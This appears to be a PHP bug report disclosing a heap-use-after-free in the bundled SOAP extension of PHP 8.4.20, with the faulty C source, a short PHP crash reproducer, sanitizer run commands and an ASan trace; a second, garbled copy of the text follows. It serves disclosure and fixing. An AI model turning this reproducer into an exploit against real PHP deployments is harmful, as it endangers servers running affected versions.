Description
Summary
PHP's bundled SOAP extension can access a freed array while encoding a
MultipleIterator passed as an encoded SOAP array to
SoapClient::__soapCall(). The supplied PHP 8.4.20 ASan run demonstrates a
native heap-use-after-free in zend_gc_addref() after the SOAP encoder has
already destroyed the iterator's temporary current value. The demonstrated
consequence is PHP process termination under ASan and possible instability in
an unsanitized process.
Details
- Affected component: bundled
ext/soap in PHP 8.4.20, together with the
built-in SPL MultipleIterator
- Affected entry point:
SoapClient::__soapCall() with a SoapVar using
SOAP_ENC_ARRAY
- Affected source:
https://github.com/php/php-src, PHP 8.4.20 source;
ext/soap/php_encoding.c and ext/spl/spl_observer.c
- Root cause: the SOAP encoder ignores the result of
array_set_zval_key(), destroys the iterator's current zval, and then
unconditionally increments the reference count through that same pointer
- Trigger condition: a
MultipleIterator with at least one attached
iterator is passed as a SOAP_ENC_ARRAY. Its current() and key() values
are arrays, so the keyed insertion fails because an array cannot be used as a
PHP array key.
In ext/soap/php_encoding.c:2289-2310, the generic Traversable encoder gets
the current value and key, inserts the value, and then performs unconditional
cleanup and reference counting:
while (iter->funcs->valid(iter) == SUCCESS) {
val = iter->funcs->get_current_data(iter);
if (iter->funcs->get_current_key) {
zval key;
iter->funcs->get_current_key(iter, &key);
array_set_zval_key(Z_ARRVAL(array_copy), &key, val);
zval_ptr_dtor(val);
zval_ptr_dtor(&key);
} else {
add_next_index_zval(&array_copy, val);
}
Z_TRY_ADDREF_P(val);
iter->funcs->move_forward(iter);
}
The return value of array_set_zval_key() is ignored. For the default
MultipleIterator configuration, key() returns an array containing the
sub-iterator keys, and current() returns an array containing the
sub-iterator values. array_set_zval_key() therefore rejects the array key.
The subsequent zval_ptr_dtor(val) releases the temporary array returned by
MultipleIterator::current(). The later Z_TRY_ADDREF_P(val) then reads the
freed array header to update its reference count.
The temporary arrays are created in
ext/spl/spl_observer.c:1288-1351 by spl_multiple_iterator_get_all():
array_init_size(return_value, num_elements);
...
if (SPL_MULTIPLE_ITERATOR_GET_ALL_CURRENT == get_type) {
zend_call_known_instance_method_with_0_params(
it->ce->iterator_funcs_ptr->zf_current, it, &retval);
} else {
zend_call_known_instance_method_with_0_params(
it->ce->iterator_funcs_ptr->zf_key, it, &retval);
}
...
add_next_index_zval(return_value, &retval);
MultipleIterator::current() and MultipleIterator::key() both call this
helper, so both results are newly constructed arrays. The ASan trace confirms
that the array allocated by spl_multiple_iterator_get_all() is freed by
to_xml_array() at line 2305 and subsequently accessed by the reference-count
increment at line 2310.
The PoC's __doRequest() override only returns an empty transport response so
that the test does not perform network I/O. It does not reenter the heap,
mutate the iterator, or participate in the invalid memory access.
PoC
Environment and configuration
-
Container/image: php-asan-8420-filter-audit2, image
php-asan:8.4.20
-
PHP: PHP 8.4.20 CLI, NTS, DEBUG build
-
PHP source revision: PHP 8.4.20 source tree; the container did not
retain a usable Git commit identifier
-
PHP compiler/linker flags:
CFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0'
CXXFLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0'
LDFLAGS='-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64'
- Extension: bundled
ext/soap, enabled by --enable-soap and present
in /src/php/sapi/cli/php; no separate SOAP module was loaded
- Relevant native dependencies: OpenSSL libraries from
/opt/openssl-3.2/lib64 were present through the recorded build and run
environment; they are not involved in the vulnerable operation
- Sanitizer runtime:
LD_LIBRARY_PATH=/opt/openssl-3.2/lib64, USE_ZEND_ALLOC=0,
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, and
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1
Reproducer
The complete PoC is retained as
SOAP-NEW-009_multiple_iterator_uaf_poc.php:
<?php
class LocalSoapClient extends SoapClient
{
public function __doRequest(
$request,
$location,
$action,
$version,
$one_way = false
): ?string {
return '';
}
}
$iterator = new MultipleIterator();
$iterator->attachIterator(new ArrayIterator([0]));
$client = new LocalSoapClient(null, [
'location' => 'http://127.0.0.1/',
'uri' => 'urn:audit',
]);
$client->__soapCall(
'audit',
[new SoapVar($iterator, SOAP_ENC_ARRAY)]
);
Run the PoC with the same sanitizer settings used for the captured evidence:
docker cp SOAP-NEW-009_multiple_iterator_uaf_poc.php \
php-asan-8420-filter-audit2:/tmp/SOAP-NEW-009_multiple_iterator_uaf_poc.php
docker exec php-asan-8420-filter-audit2 sh -lc \
'env LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
USE_ZEND_ALLOC=0 \
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
/src/php/sapi/cli/php \
/tmp/SOAP-NEW-009_multiple_iterator_uaf_poc.php \
> /tmp/SOAP-NEW-009_multiple_iterator_uaf_asan.txt 2>&1'
The recorded command exited with status 134. The complete, unedited output
is retained as
SOAP-NEW-009_multiple_iterator_uaf_asan.txt.
Sanitizer report
The following excerpt is copied from the complete ASan output captured from
the minimal PoC:
=================================================================
==1623721==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000082640 at pc 0x5604cfa03987 bp 0x7ffe9664c080 sp 0x7ffe9664c070
READ of size 4 at 0x506000082640 thread T0
#0 0x5604cfa03986 in zend_gc_addref /src/php/Zend/zend_types.h:1340
#1 0x5604cfa03deb in zval_addref_p /src/php/Zend/zend_types.h:1389
#2 0x5604cfa2fce8 in to_xml_array /src/php/ext/soap/php_encoding.c:2310
freed by thread T0 here:
#7 0x5604cfa2fbf3 in to_xml_array /src/php/ext/soap/php_encoding.c:2305
previously allocated by thread T0 here:
#4 0x5604d0d01d02 in _zend_new_array /src/php/Zend/zend_hash.c:291
#5 0x5604cfcdfd34 in spl_multiple_iterator_get_all /src/php/ext/spl/spl_observer.c:1301
#6 0x5604cfce0d29 in zim_MultipleIterator_current /src/php/ext/spl/spl_observer.c:1368
SUMMARY: AddressSanitizer: heap-use-after-free /src/php/Zend/zend_types.h:1340 in zend_gc_addref
==1623721==ABORTING
Aborted
PHP Version
PHP 8.4.20 CLI, NTS, DEBUG build
Operating System
No response
Description
Summary
PHP's bundled SOAP extension can access a freed array while encoding a
MultipleIteratorpassed as an encoded SOAP array toSoapClient::__soapCall(). The supplied PHP 8.4.20 ASan run demonstrates anative heap-use-after-free in
zend_gc_addref()after the SOAP encoder hasalready destroyed the iterator's temporary current value. The demonstrated
consequence is PHP process termination under ASan and possible instability in
an unsanitized process.
Details
ext/soapin PHP 8.4.20, together with thebuilt-in SPL
MultipleIteratorSoapClient::__soapCall()with aSoapVarusingSOAP_ENC_ARRAYhttps://github.com/php/php-src, PHP 8.4.20 source;ext/soap/php_encoding.candext/spl/spl_observer.carray_set_zval_key(), destroys the iterator's current zval, and thenunconditionally increments the reference count through that same pointer
MultipleIteratorwith at least one attachediterator is passed as a
SOAP_ENC_ARRAY. Itscurrent()andkey()valuesare arrays, so the keyed insertion fails because an array cannot be used as a
PHP array key.
In
ext/soap/php_encoding.c:2289-2310, the genericTraversableencoder getsthe current value and key, inserts the value, and then performs unconditional
cleanup and reference counting:
The return value of
array_set_zval_key()is ignored. For the defaultMultipleIteratorconfiguration,key()returns an array containing thesub-iterator keys, and
current()returns an array containing thesub-iterator values.
array_set_zval_key()therefore rejects the array key.The subsequent
zval_ptr_dtor(val)releases the temporary array returned byMultipleIterator::current(). The laterZ_TRY_ADDREF_P(val)then reads thefreed array header to update its reference count.
The temporary arrays are created in
ext/spl/spl_observer.c:1288-1351byspl_multiple_iterator_get_all():MultipleIterator::current()andMultipleIterator::key()both call thishelper, so both results are newly constructed arrays. The ASan trace confirms
that the array allocated by
spl_multiple_iterator_get_all()is freed byto_xml_array()at line 2305 and subsequently accessed by the reference-countincrement at line 2310.
The PoC's
__doRequest()override only returns an empty transport response sothat the test does not perform network I/O. It does not reenter the heap,
mutate the iterator, or participate in the invalid memory access.
PoC
Environment and configuration
Container/image:
php-asan-8420-filter-audit2, imagephp-asan:8.4.20PHP: PHP 8.4.20 CLI, NTS, DEBUG build
PHP source revision: PHP 8.4.20 source tree; the container did not
retain a usable Git commit identifier
PHP compiler/linker flags:
ext/soap, enabled by--enable-soapand presentin
/src/php/sapi/cli/php; no separate SOAP module was loaded/opt/openssl-3.2/lib64were present through the recorded build and runenvironment; they are not involved in the vulnerable operation
LD_LIBRARY_PATH=/opt/openssl-3.2/lib64,USE_ZEND_ALLOC=0,ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, andUBSAN_OPTIONS=halt_on_error=1:abort_on_error=1Reproducer
The complete PoC is retained as
SOAP-NEW-009_multiple_iterator_uaf_poc.php:Run the PoC with the same sanitizer settings used for the captured evidence:
The recorded command exited with status
134. The complete, unedited outputis retained as
SOAP-NEW-009_multiple_iterator_uaf_asan.txt.Sanitizer report
The following excerpt is copied from the complete ASan output captured from
the minimal PoC:
PHP Version
Operating System
No response